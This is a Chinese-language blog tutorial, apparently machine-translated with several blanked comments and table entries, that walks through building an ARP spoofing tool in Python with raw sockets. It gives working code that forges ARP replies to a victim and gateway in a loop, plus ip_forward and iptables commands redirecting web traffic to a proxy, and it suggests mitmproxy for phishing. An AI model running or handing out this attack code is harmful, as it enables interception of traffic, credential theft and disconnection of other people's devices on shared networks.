在Python中实现ARP欺骗

介绍



在本文中,我想演示如何在Python中实现自己的ARP欺骗程序。已经有成千上万的实现,但是几乎所有的实现都使用Scapy库和几种方法。我不争辩说,可以更有效地使用该库,但是我有兴趣亲自使用套接字来实现它,所以我想告诉读者它是如何完成的。



假定您已经熟悉ARP协议的工作原理及其缺点,如果不是,那么建议您阅读本文



我不是高素质的信息安全专家,所以我请您不要扔拖鞋,而要在注释中指定任何不正确之处。



一点理论



让我们从协议代码为\ x08 \ x06开始,它可以在第二个OSI层(即通道)工作。



然后,您需要使自己熟悉他的包裹的主体,才能知道发送什么。在维基百科上,它写得很好:



包装体
Hardware type (HTYPE)

, . , Ethernet 0x0001.

Protocol type (PTYPE)

. , IPv4 0x0800.

Hardware length (HLEN)

. Ethernet 6 (0x06).

Protocol length (PLEN)

. IPv4 4 (0x04).

Operation

: 0x0001 0x0002 .

Sender hardware address (SHA)

.

Sender protocol address (SPA)

.

Target hardware address (THA)

. .

Target protocol address (TPA)

.



乍一看,这似乎很困难,但是如果您弄清楚了,那就应该没有问题了。

因此,第一个-我们的硬件类型(硬件类型)是以太网,因此代码将是0x0001\ x00 \ x01,协议类型-IPv4,编码为\ x08 \ x00然后是硬件和协议类型\ x06 \ x04的长度,即6和4个字节。

最后,我们有一个操作代码,在请求的情况下为\ x00 \ x01,在响应的情况下为\ x00 \ x02以及发送者/接收者的物理/逻辑地址。



实作



首先,您需要声明一个套接字实例并设置必要的参数:



import socket
import time

interface = "wlan0"  #   
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb"  #  MAC-,   bb:bb:bb:bb:bb:bb

gateway_ip = socket.inet_aton("192.168.1.1")  # IP- 
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa"  # MAC- 

victim_ip = socket.inet_aton("192.168.1.2")  # IP- 
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc"  # MAC- 

connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))


假设ARP是OSI第2层协议,我们使用socket.PF_PACKET作为第一个参数。您还需要root权限才能使程序正常运行。



socket.htons()方法将16位自然数转换为网络字节顺序。



socket.inet_aton()方法将IPv4地址转换为32位二进制文​​件。



我还声明了必需的变量。



下一步是包装的形成:



arp_code = b'\x08\x06'  #  
htype = b'\x00\x01'  # Hardware Type
ptype = b'\x08\x00'  # Protocol Type
hlen = b'\x06'  # Hardware Length
plen = b'\x04'  # Protocol Length
operation = b'\x00\x02'  # Operation Code - 

protocol = htype + ptype + hlen + plen + operation  #  

#       ,       
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code

#      
# 4     4    ,    
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip

#   
while True:
    connect.send(request_victim)
    connect.send(request_gateway)
    time.sleep(1)


现在,我们仅分析了程序本身,但是,如果您不仅要断开用户与网关的连接,还希望替换/嗅探数据包,则需要在ip_forward中启用转发:



echo 1 > /proc/sys/net/ipv4/ip_forward


并通过iptables配置数据包路由:



iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080


如果要进行网络钓鱼,则mitmproxy实用程序是最佳选择

您可以使用tcpdump实用程序查看通过您的流量



同样在我的GitHub上,我发布了一个旨在断开所有或某些节点与网关的连接的脚本-github.com/secwayz/netbuster



编写该程序的结果是,我发现即使使用操作代码0x0001(请求)以及来自响应的所有参数(它们稍有不同),受害者仍然可以接收数据包并更改ARP表中的MAC地址,而攻击的稳定性和此项的强度都得到了显着提高。我认为这是协议中的另一个缺陷,在该缺陷中,网络接口不会忽略组成错误的数据包,而是对其进行处理并覆盖该表。



All Articles